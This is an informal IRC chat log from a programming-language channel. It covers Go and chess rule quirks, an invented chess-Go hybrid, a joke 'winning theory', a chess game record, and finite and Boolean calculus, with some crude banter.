22:34:15 <oerjan> that much is obvious
22:34:30 -!- MigoMipo has quit (Remote host closed the connection).
22:34:42 -!- muni_ has left (?).
22:35:03 <oerjan> cpressez: you zuddenlee look very french
22:35:43 <fax> this is really frustrating
22:37:01 <Quadrescence> fax are you hot
22:37:45 <cpressez> Si pressez-vous la bouton
22:38:10 * Quadrescence presse la bouton.
22:38:21 <oerjan> Le monde explode!
22:38:46 <Quadrescence> Que galère!!!
22:39:11 -!- cpressez has changed nick to cpressey.
22:39:13 <cpressey> Well enough of that.
22:39:33 -!- alise has joined.
22:39:46 -!- jcp has quit (Ping timeout: 258 seconds).
22:39:57 <oerjan> *explose
22:40:00 <oerjan> darn french
22:40:04 <alise> depose*
22:41:08 -!- jcp has joined.
22:43:51 <lament> bzflag
22:43:54 <lament> i remember that game
22:44:07 <alise> 13:46:32 <o|{|_o9o|_> the theorem doesn't actually have any mathematical content, it's just stated for convenience, so you don't have to think about what happens on the boundaries of the sum and the integral every time
22:44:07 <myndzi> |
22:44:07 <myndzi> /\
22:44:13 <alise> everything that is true is an obvious tautology :P
22:44:25 <oerjan> *facepalm*
22:44:38 <cpressey> *kneeear*
22:44:45 <cpressey> etc.
22:44:49 * Quadrescence snickers
22:44:57 <alise> lawl
22:44:57 <fax> There are no trivial mathematics, only trivial mathematicians!
22:45:24 <Quadrescence> myndzi: was that supposed to look dirty?
22:45:28 <oerjan> cpressey: you're quite limber, i take
22:45:48 <cpressey> oerjan: I am on IRC, at least.
22:45:56 <oerjan> ah
22:46:15 <oerjan> argh
22:46:20 -!- BeholdMyGlory has quit (Remote host closed the connection).
22:46:27 <lament> \o/ \o/ \o/ \o/
22:46:27 <myndzi> | | | |
22:46:28 <myndzi> /| |\ /| /|
22:46:39 <lament> \o/\o/\o/\o/
22:46:39 <myndzi> | | | |
22:46:39 <myndzi> |\ |\ >\/\
22:46:50 <Quadrescence> /´\
22:47:01 <lament> \o/
22:47:02 <myndzi> |
22:47:02 <myndzi> /|
22:47:04 <lament> \o/\o/\o/
22:47:05 <myndzi> | | |
22:47:05 <myndzi> >\ >\ >\
22:47:26 <lament> \o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/
22:47:26 <myndzi> | | | | | | | | | | | | | | | | |
22:47:26 <myndzi> >\/| /| /< /< /'\/\/< /< /< |\ |\/`\ |\/< |\/|
22:47:30 <Quadrescence> \o/
22:47:30 <myndzi> |
22:47:31 <myndzi> /|
22:47:34 <Quadrescence> wow awesome
22:47:37 <lament> very few of them have dicks.
22:47:38 <Quadrescence> that is the coolest thing ever
22:47:48 <lament> i know \o/
22:47:48 <myndzi> |
22:47:48 <myndzi> |\
22:47:57 <Quadrescence> _o/
22:47:58 <myndzi> |
22:47:58 <myndzi> /'\
22:48:01 <Quadrescence> HAHA
22:48:02 <alise> are there actually spaces before? if so, my client strips them >_<
22:48:13 <alise> there used to be iirc
22:48:15 <Quadrescence> get a client that doesn't suck
22:48:24 <oerjan> \m/ \m/
22:48:25 <myndzi> `\o/
22:48:25 <myndzi> |
22:48:25 <myndzi> (_|'\
22:48:25 <myndzi> |_)
22:48:35 <Quadrescence> LOL WUT
22:48:47 <lament> \m/
22:48:53 <Quadrescence> \m/
22:48:55 <lament> \m/ \m/
22:49:03 <alise> 14:27:52 <cpressez> I suppose that's better than "I love you." "ROTFL"
22:49:04 -!- cheater2 has quit (Read error: Connection reset by peer).
22:49:06 <lament> \m/ \m/
22:49:06 <myndzi> `\o/
22:49:06 <myndzi> |
22:49:06 <myndzi> /'\
22:49:06 <myndzi> (_| |_)
22:49:07 <alise> *ROTFUL
22:49:27 <Quadrescence> o
22:49:30 -!- cheater2 has joined.
22:49:34 <Quadrescence> _o_
22:49:35 <myndzi> |
22:49:35 <myndzi> /|
22:49:41 <Quadrescence> wowowowow
22:49:44 <Quadrescence> that is so cool
22:49:53 -!- alise has left (?).
22:49:59 -!- alise has joined.
22:50:40 <lament> that script is the only reason i go to #esoteric
22:50:47 <oklopol> "alise: are there actually spaces before? if so, my client strips them >_<" <<< first whitespace i've ever seen that nnscript *doesn't* strip
22:51:15 <alise> in the logs it's spaces /and/ some other char
22:52:07 <Quadrescence> lament: ur the only reason I go to #esoteric~
22:52:38 <lament> Quadrescence: ur the only reason fax goes to #esoteric
22:52:46 <Quadrescence> FU*K
22:52:50 -!- cpressey has left (?).
22:52:57 <Quadrescence> fax has acne and boils
22:53:22 <alise> #~esoteric is either the most interesting channel I can think of, or the least, depending on what #esoteric is at the time,
22:53:53 <alise> well, I guess it's #(~esoteric), not ~(#esoteric)
22:53:54 <alise> so most boring
22:54:10 <Quadrescence> oh shut up
22:54:45 <Quadrescence> (I was talking to EgoBot not you alise)
22:54:47 <lament> it's transitive
22:54:53 <alise> EgoBot is talking?
22:55:05 <Quadrescence> yeh
22:57:03 <Gregor> !echo I'm human!
22:57:07 <EgoBot> I'm human!
22:57:36 <oerjan> he's just using facilitated communication
22:58:33 <alise> oerjan: <3
22:58:51 <Quadrescence> lament: http://i.imgur.com/ZFlbv.jpg
22:59:09 <lament> i'm not opening anything at work
22:59:14 * alise wonders if that's the same image Quadrescence linked to me before
22:59:18 <alise> if so, lament made the right choice :p
22:59:22 -!- coppro has joined.
22:59:37 <ais523> "However, under Japanese rules, the game is already considered to have ended. The players attempt to ascertain which groups of stones would remain if both players played perfectly from that point on. (These groups are said to be alive.) In addition, this play is done under rules in which kos are treated differently from ordinary play. If the players reach an incorrect conclusion, then they both lose."
22:59:50 <ais523> alise: the situation for a disputed endgame in Go is even funnier than I thought
22:59:58 <alise> :D
22:59:58 <Quadrescence> coppro: if you ever need latex help, you're welcome to ask me instead of going to #latex where people treat you like you're 8.5 years old
23:00:14 <alise> You get nothing! You LOSE! Good DAY sir.
23:00:14 <ais523> I love the way that the double loss is given for getting it wrong, rather than for disagreement
23:00:57 <alise> i wonder how many famous games of go are actually platonically a double loss
23:01:02 <alise> but nobody's realised
23:01:12 <oerjan> alise: except with more honorifics
23:01:41 <oklopol> i wonder how many chess games actually ended with the white winning, but the players thought black won.
23:01:42 <ais523> alise: probably not that many in famous games, you'd expect the players to get it right
23:02:04 <oklopol> for draws, there probably are such instances
23:02:16 <ais523> oklopol: a few famous ones (if you allow vice versa); there was one where one of the players lost on time, and the referee accidentally turned the clock round and gave the win to the wrong player
23:02:18 <alise> oklopol: None :P
23:02:20 <ais523> in a relatively publicised tournament
23:02:31 <alise> ais523: that's cheating
23:02:35 <alise> :P
23:02:50 <ais523> alise: by the referee?
23:02:53 <ais523> it was a mistake, rather than deliberate
23:02:58 <alise> I wonder how many chess games actually ended with the X winning, but the players thought Y won, and the game ended by the taking of a king, where X =/= Y.
23:03:03 <alise> ais523: i mean as an example
23:03:03 <oklopol> it's cheating as an answer to my wonderingment
23:03:06 <oklopol> yeah
23:03:40 <alise> Note that X or Y can be "draw"
23:03:41 <alise> well, xor
23:03:45 -!- FireFly has quit (Quit: Leaving).
23:04:20 -!- lament has quit (Ping timeout: 245 seconds).
23:05:01 <ais523> there was a case (again in a serious tournament) where a player offered a draw, his opponent said "make a move first", the player moved, then the opponent resigned
23:05:07 <ais523> legally, you can still take the draw in that situation
23:05:26 <ais523> (it's a rule against draw offer spam; if someone offers a draw, you can accept until the end of your next move)
23:05:38 <ais523> (so there's no point in offering more than once in the same move)
23:05:49 <oklopol> but anyway i think it's technically possible that black moves a piece so that the king can't move anymore, and neither player realizes there's a distant piece making it a checkmate instead of a stalemate
23:06:29 <ais523> yep, I suppose so vaguely
23:06:33 <alise> http://sci.tech-archive.net/Archive/sci.logic/2006-10/msg00751.html
23:06:34 <alise> i keep
23:06:34 -!- lament has joined.
23:06:35 <alise> reading this
23:06:36 <alise> as a
23:06:37 <alise> poem
23:06:39 <alise> and it
23:06:40 <alise> is really
23:06:41 <alise> annoying
23:06:41 <ais523> actually, there are probably loads of draws on time which were claimed as wins on time by mistake
23:06:59 <ais523> (draw on time: if your opponent runs out of time, but it's theoretically impossible to win given the material on the board)
23:07:15 <fax> alise "Yessenin-Volpin"? wow a THIRD ultra-finitist??
23:07:28 <alise> fax: they don't even include what'shisname in that list
23:07:32 <alise> the guy we've been talking about
23:07:35 <lament> japanese rules allow draws on time???
23:07:36 <alise> so there are FOUR???
23:07:39 <lament> fax: oh crap
23:07:47 <alise> no wait, three
23:07:53 <lament> fax: the number of ultrafinitists is getting dangerously big
23:07:56 <ais523> lament: Chess, not Go
23:08:02 <alise> this movement has gained its maximum possible mass (I don't believe in 4)
23:08:05 <lament> fax: what if it overflows???
23:08:06 <fax> lament, lol
23:08:15 <ais523> it's always theoretically possible to play Go so badly that your opponent wins
23:08:18 <alise> lament: damn you made the same joke as me but beter
23:08:18 <oerjan> lament: dammit stealing my joke
23:08:25 <alise> hahaha
23:09:59 <fax> alise, you know Freek Wiedijk
23:10:00 <fax> ?
23:11:01 <alise> i do now
23:11:01 <alise> fax: resend your latest /msg, i closed the tab by mistake
23:11:11 <lament> ais523: that can't possibly be true, do you see why??
23:11:19 <lament> DUCY???
23:11:34 <ais523> lament: the game lasts an infinite length of time if both people try it
23:11:45 <oklopol> i'm sure everyone thought of the joke
23:11:50 <ais523> hmm, unless you enforce superko, in which case my statement is indeed incorrect
23:12:14 <coppro> It depends on the form of superko
23:12:20 <lament> ais523: why would either of them capture at all? They would pass.
23:12:45 <ais523> oh, good point
23:12:46 <lament> they ought to pass when there's one empty point remaining
23:12:54 <ais523> I somehow assumed that you'd capture with only one point left
23:12:57 <lament> if the game ends
23:13:02 <ais523> too much exposure to the stupid stupid Yahoo auto-go thing
23:13:11 <ais523> which has a bug where you can run an opponent out of time by repeated passing
23:13:22 <lament> i'm not sure what's the status if the game ends but i guess it's seki
23:13:33 <lament> either seki or "both players lose"
23:15:33 <Gregor> SEKSI
23:15:55 <ais523> what would be funny would be if you somehow got half a stone onto the board
23:15:59 <ais523> and then claimed a draw despite komi
23:17:19 <lament> very easy with cheap chinese stones, they break all the time
23:17:50 <Gregor> Here's a thought: hybridize Go and Chess by simply having a chess board, where the intersections are the points on a Go board, every turn you do either a Chess or a Go move, and the Go game works as usual, including taking out Chess pieces :P
23:18:45 <lament> who wins?
23:19:00 <Gregor> Whoever either checkmates or takes out the opponent's king.
23:19:23 <Gregor> Which, I suppose, is problematic for the Go component ...
23:19:27 <lament> do you need to surround a piece on four sides to capture is?
23:19:30 -!- ais523 has quit (Remote host closed the connection).
23:19:30 <Gregor> Needs some rough edges smoothed out.
23:19:31 <lament> *it
23:19:37 <Gregor> lament: That was the idea?
23:19:39 <coppro> lament: you could take it with a chess piece
23:19:43 <coppro> or surround it
23:19:44 <Gregor> Well, yes.
23:19:48 <alise> does go have a winning condition?
23:19:50 <alise> I don't actually know
23:19:50 <lament> Gregor: well it's not quite how Go works
23:19:55 <lament> alise: no, people just fuck around.
23:20:20 <alise> erm
23:20:20 <alise> i mean
23:20:21 <alise> an endgame condition
23:20:21 <alise> apart from like... running out of pieces
23:20:21 <alise> or time
23:21:01 <lament> oh
23:21:10 <lament> both players pass
23:21:25 <lament> note that sometimes you're forced to pass due to not having any valid moves
23:21:32 <lament> but in principle a game could go on forever
23:21:44 <alise> Gregor: Checkmate/taking out/both passing = game ends.
23:21:47 <lament> there's an optional rule, which nobody uses, that disallows repetition
23:21:58 <alise> Then you can invent a hybrid chess/Go winning condition to be applied at endgame.
23:22:20 <Gregor> Well, that makes sense since both passing is an endgame condition for Chess anyway, stalemate :P
23:22:36 <Sgeo> From what little I know about Common Lisp, I despise it
23:22:46 <alise> The problem is that in chess, endgame almost always is because of someone winning.
23:22:49 <Sgeo> funcall? Really?
23:22:54 <Gregor> alise: Yuh
23:22:55 <alise> In Go that appears to be calculated after the fact.
23:23:00 <alise> Sgeo: So you can name a variable "list".
23:23:27 <alise> Gregor: You could redefine instead Go's endgame condition to be because of someone winning somehow.
23:23:41 <Gregor> The Go pieces would be controlling areas of the board ... you couldn't move there because you'd be instantly surrounded by opposing pieces. Maybe that's bad :P
23:24:03 <alise> Maybe that's AWESOME.
23:24:10 <Gregor> Maybe!
23:24:16 <alise> So how does a Chess piece take a Go piece? Maybe jumping over it.
23:24:25 <Gregor> I wasn't considering that possibility ...
23:24:33 <alise> Say you have a Go piece to the top-left of a pawn. If the pawn moves one space top-left, the Go piece is taken
23:24:34 <alise> etc.
23:24:57 <Gregor> So, Bishops have free take-out powers :P
23:25:21 <alise> For knights... No fucking clue.
23:25:23 <alise> Gregor: They do anyway :P
23:25:25 <coppro> I don't think you would use typical Go notions of control
23:25:38 <Gregor> coppro: Probably not quite.
23:25:45 <alise> It's not a hybrid if you significantly modify G1+G2
23:25:52 <coppro> control really just means an area that if you put a piece in, it will die eventually
23:25:53 <alise> It's your own game inspired by G1, G2.
23:26:04 <Gregor> alise: Oh nooooooooes
23:26:08 <lament> G0?
23:26:15 <alise> The only modifications should be to resolve contradictions.
23:26:59 <coppro> so if you add the ability to leave the area or take one of the controlling pieces, there's no sense in preventing a piece from entering a controlled area
23:27:35 <alise> Gregor: You made Chesskers.
23:27:42 <Gregor> Yes, I did :P
23:27:47 <alise> You're making Gochess.
23:27:53 <alise> So, Gochesskers.
23:27:55 <Gregor> Yes, I am :P
23:27:59 <alise> You should add Othello to that mix.
23:28:11 <alise> Gothellochesskers.
23:28:16 <Gregor> Yes, I ... wait, whaaaa?
23:28:20 <alise> Go, Othello, Chess and Checkers. Living in perfect disharmony.
23:28:20 * Sgeo would never have discovered FICS if XP had "Internet Chess"
23:28:40 <alise> Gregor: Wait, what? :D
23:28:49 <alise> Haha, imagine Chess pieces flipping colour because you connect a line.
23:29:21 <alise> Then subsequently taking Go pieces, which then surround a Checker piece, eliminating it.
23:29:40 <Gregor> Combine ALL board games into one!
23:29:44 <Gregor> Throw some Risk in there!
23:29:49 <Gregor> I think we need some 18xx!
23:29:52 <Gregor> And where's Clue?!
23:29:52 <alise> No :P
23:30:02 <alise> But Go, Othello, Chess and Checkers are all fundamentally similar.
23:30:27 <alise> Abstract pieces on a uniform board, with uniform rules throughout, involving pieces "getting rid" of other pieces, with complex strategy underlying simple rules.
23:30:43 <alise> And any two are quite easily hybridised. So..
23:31:26 * Sgeo wishes FICS had a way of defining your own game that used a chessboard and chess pieces
23:31:40 <Sgeo> With some simple not-necessarily-TC scripting language
23:31:49 <coppro> Sgeo: fork the source
23:32:04 <alise> coppro: it's closed
23:32:07 <alise> the latest version of the server at least
23:32:09 <coppro> it is?
23:32:23 <alise> well wikipedia says an old version was open and is mum about the current, so..
23:32:28 <alise> *so...
23:32:37 <alise> (directly next to each other)
23:32:39 <Sgeo> Easy enough to ask
23:33:02 <Sgeo> "MAd(1): no"
23:35:32 <Gregor> And now ...
23:35:34 <Gregor> FINLANDIA!
23:36:25 <Gregor> Also, LaTeX's default title font is disturbingly similar to the "font" used for the title of the original publication of Finlandia.
23:36:41 <alise> COMPUTER MODERN: Disturbing
23:37:20 <oerjan> not so modern after all
23:37:39 <oerjan> somewhere, on a forgotten sumerian clay tablet...
23:38:18 <alise> the first ug was typeset by knuth
23:38:42 <oklopol> definition: a game A totally wins the game B if there's a winning strategy in the mixed game A|B that uses only moves of A
23:40:09 <oerjan> hm is this related to surreal number ordering?
23:40:58 <alise> Totally wins; terminology first used by Euclid in his Elements.
23:41:01 <alise> Specifically:
23:41:23 <alise> "Let there be the games A, B. I say that A totally wins B.
23:41:41 <alise> First, let there be a strategy of A.
23:42:04 <alise> Let it be that when this strategy is used in AB, it is winning.
23:42:05 <oerjan> i can confirm this because strategy is a greek word.
23:42:20 <alise> If this is not so, then instead I say B totally wins A."
23:42:35 <alise> that's my piss-poor attempt at emulating the style of Elements...
23:42:39 <oklopol> oh but totally winning is a proper partial order!
23:42:57 <oklopol> so in fact it's not necessarily true that B totally wins A if A does not totally win B
23:43:36 <alise> right but that's a modern development of Winning theory
23:43:47 <alise> Euclidean winning theory doesn't have that
23:44:09 <oklopol> definition: if A does not totally win B, and B does not totally win A, then we say A|B is not ridiculous
23:44:27 <oklopol> ah
23:44:44 -!- oerjan has quit (Quit: Good night).
23:44:54 <oklopol> now the obvious question is, is go|chess a ridiculous idea?
23:44:54 <alise> (Euclid considered "That all entities must be ordered. Take entities A and B and A is not more than B, and B is not more than A. Then A appears before B, and B appears before A. This is an absurdity. So all entities must be ordered.")
23:45:22 <oklopol> :D
23:46:01 <alise> oklopol: you're abusing notation, A|B is the common parts of the games A and B
23:46:13 <alise> go|chess would be a board with things that move around and remove other pieces, but past that undefined
23:46:17 <alise> you mean AB
23:46:41 <alise> (euclid wrote A|B as superscript A, subscript B.)
23:46:58 <alise> winning theory is like game theory but more indie
23:47:34 <alise> (In complex expressions the notation A above B is often used to save space, but for more complex expressions the super/subscript format is used.)
23:47:43 <alise> Erm, that is, as a component of complex expressions.
23:49:34 <oklopol> | is an OR-like character, AB is multiplication which is an AND-like operation
23:49:55 <alise> exactly
23:50:13 <alise> remember that euclid thought of games as primitives
23:50:15 <oklopol> so A|B is the mix of the games, and AB is the common parts.
23:50:35 <alise> as such, (go chess) was go & chess, i.e. both go and chess.
23:50:50 <oklopol> that's what AND and OR mean in the philosophy of fuzziness.
23:50:55 <alise> eh fine :P
23:51:08 <lament> go fish
23:53:28 <oklopol> the common parts operation probably actually makes sense in some cases, because either you get the empty game or you get some basic moves or something. i guess stuff like winning might be completely removed though
23:53:48 <oklopol> is there a good definition for board games somewhere?
23:54:30 <alise> clearly winning theory is our chance to invent it.
23:54:37 <oklopol> game theory is to board games sort of what category theory is to algebras, imo
23:54:49 <alise> also, euclid didn't even consider common parts by itself to be a valid formula.
23:54:57 <alise> he always built it up from there to a full game
23:55:03 -!- MizardX has quit (Ping timeout: 240 seconds).
23:55:13 <oklopol> maybe, maybe
23:56:13 <oklopol> in algebra, the common parts of two algebras are usually directly an algebra, but the mix of two algebras needs to be extended to be a full algebra
23:57:51 <lament> game theory doesn't talk about board games at all.
23:58:13 <fax> and the second rule of game theory: Do not talk about board games
2010-03-10
00:02:53 <oklopol> but isn't the way board game players interact, taking turns to manipulate some state, game theoretical stuff
00:04:12 <oklopol> i guess not really
00:04:45 <oklopol> hmm
00:05:04 <alise> A|(B C) = (A|B) (A|C), obviously
00:05:15 <alise> but does A (B|C) = (A B)|(A C)?
00:05:23 <alise> where A B is common parts and A|B is combination
00:06:16 <oklopol> isn't the study of general properties of game trees an important part of game theory? at least the one book i've read talks about it a lot.
00:08:09 <alise> oklopol: winning theory could be your chance to include all the ridiculous ideas you've ever thought of into mathematics
00:08:23 <alise> so what's the symbol for A totally winning B?
00:08:31 <oklopol> i'm not sure how that maps to what category theory is to algebra though
00:08:42 <alise> Tw(A,B)? TW(A,B)? TwAB? A op B?
00:09:02 <oklopol> as always, A | B = A <==> A > B
00:09:13 <oklopol> or maybe more like >=
00:10:40 <alise> of course
00:10:43 <alise> but totally winning is about strategy
00:11:17 <alise> I think op is the best route as you know, operators are awesome and you can invent symbols for them
00:11:24 <oklopol> doesn't mean we should get too creative when defining the algebra of games
00:11:30 <alise> Whyever not.
00:11:38 <oklopol> indeedso iguess not.
00:11:48 <oklopol> or do i mean yes
00:11:55 <alise> Circled > would be nice.
00:12:02 <oklopol> i'm not really following any of these conversations
00:12:03 <alise> Might confuse with just >, but isn't that a good thing?
00:12:09 <alise> :|
00:12:14 <oklopol> yeah!
00:16:34 -!- alise has quit (Ping timeout: 252 seconds).
00:19:16 -!- Oranjer has joined.
00:30:42 -!- alise has joined.
00:30:55 <alise> what did i miss since what i last said?
00:32:05 <Oranjer> beats me!
00:34:15 <Ilari> alise: < oklopol> yeah!
00:34:27 <alise> that is it? :P
00:35:25 <oklopol> well also "02:17… Oranjer has joined #esoteric"
00:35:26 <oklopol> that's sort of relevant to what Oranjer said
00:36:16 <alise> what is it with chess ais, you give them a huge amount of time because you don't wanna feel pressure and they just sit about doing nothing
00:36:27 <alise> you're a computer. you don't panic. stop wasting my time
00:37:50 <lament> chess is too hard anyway
00:38:23 <Oranjer> what
00:38:37 <alise> lament: i don't care, it's entertaining
00:38:47 -!- Ilari has quit (Ping timeout: 268 seconds).
00:38:58 <alise> oh I think i may just have set up the ai wrongly
00:39:01 <alise> it just sat there and ran out of time
00:39:06 <coppro> alise: AIs do use up time
00:39:22 <alise> coppro: yes but this one played fine with little time. also, as i said, it ended up not moving at all.
00:39:58 <Oranjer> how does it end up not moving
00:40:19 <oklopol> lament: yeah i never learned how knights move
00:40:31 * alise tries a different type of clock
00:40:33 <alise> Oranjer: by not moving in the allocated time
00:40:42 <Oranjer> I think they do the Kansas City Shuffle, oklopol
00:41:22 <oklopol> two steps this way and then one step this way oh and by the way YOU CAN FLY OVER OTHER PIECES, that's just insane
00:41:59 <lament> it's just a game after all
00:42:06 <alise> flying horses
00:42:25 -!- cal153 has quit.
00:42:47 <Oranjer> Chess: the only playable Allegory of Islam
00:43:31 <oklopol> lament: your responses are really boring today, are you drunk on life?
00:43:54 <lament> i'm sober
00:44:00 <alise> Oranjer: you are way too postmodern
00:44:11 <Oranjer> how so?
00:44:18 <oklopol> lament:
00:44:22 -!- Ilari has joined.
00:44:25 <Oranjer> Muhammed flys somewhere on a flying ass
00:44:53 <Oranjer> Muhammad, sorry
00:45:26 <lament> oklopol: empty string
00:49:24 -!- cal153 has joined.
00:57:20 -!- adu has joined.
01:00:10 -!- coppro has quit (Ping timeout: 245 seconds).
01:11:51 <alise> In which I play Chess extremely shittily:
01:11:52 <alise> 1. b4 c6 {+0.17/8} 2. Nc3 Nf6 {+0.31/9} 3. Na4 d6 {+0.21/9} 4. c4 g6 {+0.06/8} 5. d4 Be6 {+0.14/8} 6. c5 Na6 {+0.06/9} 7. d5 Nxd5 {+0.79/8} 8. b5 cxb5 {+1.70/10} 9. e4 Qa5+ {+1.61/10} 10. Bd2 Qxa4 {+1.71/11} 11. Qxa4 bxa4 {+1.98/10} 12. exd5 Bxd5 {+2.00/10} 13. a3 Nxc5 {+3.09/9} 14. Ba5 Nb3 {+3.00/9} 15. Rb1 Bg7 {+3.82/10} 16. Bc7 Rc8 {+5.19/10} 17. Ba5 Nxa5 {+5.87/10} 18. g4 Bxh1 {+10.37/10} 19. Nf3 Bxf3 {+13.43/11} 20. Be2 Bxe2
01:12:06 <alise> 23. Rb4 Rxa3 {+14.69/9} 24. Rb5 Rh3 {+14.96/8} 25. g5 a3 {+17.63/9} 26. f4 a2 {+22.11/9} 27. Rc5 bxc5 {+26.91/9} 28. f5 gxf5 {+27.85/9} 29. Ke1 Rxh2 {+79.98/28} 30. Kd1 a1=Q# {+79.99/28}
01:12:11 <alise> Admittedly a few mistakes were due to the mouse slipping.
01:12:27 <alise> That probably made the already ridiculous difference in skill vs the computer vastly worse
01:12:38 <alise> But hey, it was entertaining. I am awfully bad though.
01:13:48 <Oranjer> how does one read this notation
01:13:48 <lament> can the computer give an estimate of how much you sucked?
01:16:16 <alise> Oranjer: ignore the bits in {}s
01:16:23 <alise> and then just google chess move notation
01:16:27 <alise> i'm white
01:16:29 <alise> obviously
01:16:30 <fax> hi
01:16:38 <alise> lament: probably, but i don't feel like hating myself that badly
01:17:34 <fax> alise
01:17:51 <alise> fax
01:18:00 <fax> hello
01:18:03 <alise> hello
01:18:18 <fax> I love finite calculus
01:18:27 <alise> ok zeilberger
01:18:34 <alise> ceil(burger)
01:18:38 <lament> failculus
01:18:47 <alise> it isn't really very calculusy tbh :p
01:19:04 <fax> it blows my mind that the are so many stiking similarities with the real calculus
01:20:05 <lament> it blows my mind that this blows your mind
01:20:23 <lament> given that calculus is obviously the limit of finite calculus
01:20:31 <alise> well 1 is basically the infinitesimal of the integers :P
01:20:47 <oklopol> finite calculus isn't calculus on integers
01:20:56 <alise> i know
01:21:09 <oklopol> i know you know, i just like saying it
01:21:11 <oklopol> it's catchy
01:21:18 <fax> ??
01:21:22 <fax> it's not calculus on integers?
01:21:28 <fax> are you reading the same paper as me? :P
01:21:49 <oklopol> oh well it's calculus from integers
01:22:02 <oklopol> but the functions still go to R
01:22:11 <alise> fax: why not on booleans
01:22:12 <fax> mine are Z -> Z
01:22:17 <alise> boolean calculus, do it now
01:22:24 <fax> alise, I am actually reading George Booles paper on this right now
01:22:28 <fax> er book
01:22:39 <alise> haha man I'm laughing too much at the idea of boolean calculus
01:22:53 * fax frowns
01:23:00 <alise> fax: no you /must/ do it on Bool -> Bool where true : Bool, false : Bool and nothing else
01:23:03 <oklopol> well the reason the paper doesn't talk about Z -> R, i think, is that integers always sum to integers, so you can restrict it that way, unlike normal calculus
01:23:11 <alise> I guess I'm basically asking for calculus from naturals mod 2
01:23:13 <alise> so DO IT
01:23:16 <alise> >:3
01:23:34 -!- augur has quit (Ping timeout: 264 seconds).
01:24:01 <fax> well it could be Q -> Q also
01:24:03 <fax> but that's not as elegant
01:24:12 <alise> why are you talking
01:24:17 <alise> boolean calculus
01:24:17 <alise> now
01:24:28 <fax> alise, it's your idea, you do it!
01:24:41 <alise> i don't have a cock compiler
01:24:50 <alise> just s/Z/Bool/ in your code, job done
01:24:56 <fax> um :P that wont do it
01:25:02 <oklopol> i think it's very elegant from Z to R
01:25:06 <fax> hey I just realized Bool is a field
01:25:24 <oklopol> what's Bool?
01:25:27 <fax> oklopol, why is Z -> R better than Z -> Z?
01:26:05 <alise> gf
01:26:08 <alise> true/true = true
01:26:11 <alise> true/false = undefined
01:26:17 <alise> that's one fucking awesome field xD
01:26:19 <fax> "= undefined" *barf*
01:26:26 <alise> as in "is undefined"
01:26:27 <oklopol> because if we consider Z a measure space with cardinality as the measure, then sums are just integrals
01:26:29 <alise> false/true = false
01:26:32 <alise> false/false is undefined
01:26:40 <fax> *unbarf*
01:26:41 <oklopol> and with integration we usually have functions from our measure space to R.
01:26:42 <alise> so basically X/true = X anything else is undefined
01:27:04 <fax> oklopol, wait what
01:27:07 <alise> so the multiplicative inverse is
01:27:10 <alise> true^-1 = true
01:27:12 <alise> that's it
01:27:16 <alise> worst field ever
01:27:31 <fax> oklopol, ooh I wonder if there's a Z[i] calculus with all the nice harmonic, holomorphic stuff
01:27:31 <alise> then again multiplication is boring on booleans anyway
01:27:33 <alise> whoa
01:27:38 <alise> multiplication is division on booleans
01:27:43 <alise> wait no
01:27:49 <alise> except for half of it (/false) >_<
01:27:53 <fax> alise, unitary calculus!!
01:28:02 <oklopol> fax: the crazy dude's paper talked about discrete analytic functions
01:28:06 <alise> for all the cases where / is defined on bools it is identical to *
01:28:15 <fax> 01:27 < alise> for all the cases where / is defined on bools it is identical to *
01:28:19 <fax> oops
01:28:24 <alise> oklopol: if you're using his notation you say R but you mean hZ_p
01:28:25 <oklopol> or mentioned them
01:28:26 <oklopol> looked neat
01:28:29 <alise> (where Z is a finite set)
01:28:37 <alise> do not pervert /our/ discourse :P
01:28:52 <alise> tbh addition on booleans is pretty nice, being xor
01:28:57 <fax> hmmmm
01:29:18 <alise> true - true = false; true - false = true; false - true = true; false - false = false;
01:29:19 <alise> heh - = + too
01:29:23 <fax> this is the best discovery I have made :))))))
01:29:28 <alise> fax: what is
01:29:28 <fax> finding this finite calculus
01:29:36 <alise> dude it's just some addition and subtraction
01:30:48 <alise> hey fax DID YOU KNOW you also have exponentiation on booleans
01:30:54 <alise> x^true = x; otherwise undefined
01:31:04 <fax> lol
01:31:04 <alise> in fact, you can even use the ackermann function on them.
01:31:07 <oklopol> it's clear sums are integrals because every function is simple
01:31:07 <oklopol> from Z, with the usual measure
01:31:07 <oklopol> err wait what
01:31:07 <oklopol> that's bullshit, let me gather myself.
01:31:09 <oklopol> okay maybe it's not completely obvious
01:31:11 <fax> "Vladimir Arnold forcefully stated in one of his books that it is wrong to think about finite difference equations as approximations of differential equations. It is the differential equation which approximates finite difference laws of physics"
01:31:12 <alise> now you have INFINITE OPERATORS!!!!!!!!!
01:31:39 <alise> so fax is now the fifth ultrafinitist i gather
01:35:20 <fax> this pleases me
01:35:30 <alise> fax: I'll love you if you make a Coq module with ultrafinitist definitions of the following, paramaterised on the rational h and the prime p: Naturals, so that there is no prime greater than p; Integers, presumably with each half of the integers dedicated to a sign; Rationals, divided once more (h must fit into one of these); and Reals, defined as hZ_p.
01:35:48 <alise> Along with associated operations, the calculus he defines, and properties.
01:35:51 <fax> alise, I will help you do it :)
01:35:54 <alise> And by love you, I mean hate you love you.
01:36:06 <alise> fax: Well... I started writing it in my language but couldn't be bothered.
01:36:10 <fax> alise, I should implement (normal) construtive reals though
01:36:21 <alise> those are easy
01:36:30 <fax> following the sketch in my constructie functional analysis text
01:37:07 <alise> Sigma (f:Q+->Q), Forall (e1,e2:Q+), abs (f e1 - f e2) <= e1 + e2
01:37:08 <alise> boring
01:37:19 <alise> fax: now do it, ultrafinitistic peon
01:39:53 <alise> fax: Actually I suppose that all those sets don't neccessarily have to have the same size because they all coexist.
01:40:19 <alise> So having the integers be twice the size of the naturals (minus 1, because there's only one 0...) and having rationals be the size of the naturals plus the integers would be OK.
01:40:31 <alise> The reals have to be hZ_p by Order of Zeilberger.
01:42:30 <alise> The nice thing is that we don't need any pesky functions or anything to define these because there's a simple, finite number of cases.
01:46:53 <fax> p would be what? The largest known* mersenne prime (* known by http://coqprime.gforge.inria.fr/ )
01:47:10 <alise> p and h are parameters to the module
01:47:43 <alise> they are universal constants like physical ones but we don't know what they are (zeilberger says that the True Value either p or h - i forget which - is unknowable so uh whatever)
01:47:50 <alise> so we just plug in values we like.
01:48:10 -!- augur has joined.
01:48:22 <uorygl> Time for a nick change.
01:48:39 -!- uorygl has changed nick to uorygl[hireMe].
01:48:43 <uorygl[hireMe]> :P
01:48:45 <alise> fax: if you have an awful lot of cpu time on your hands the largest mersenne prime would be a good choice for p, yes.
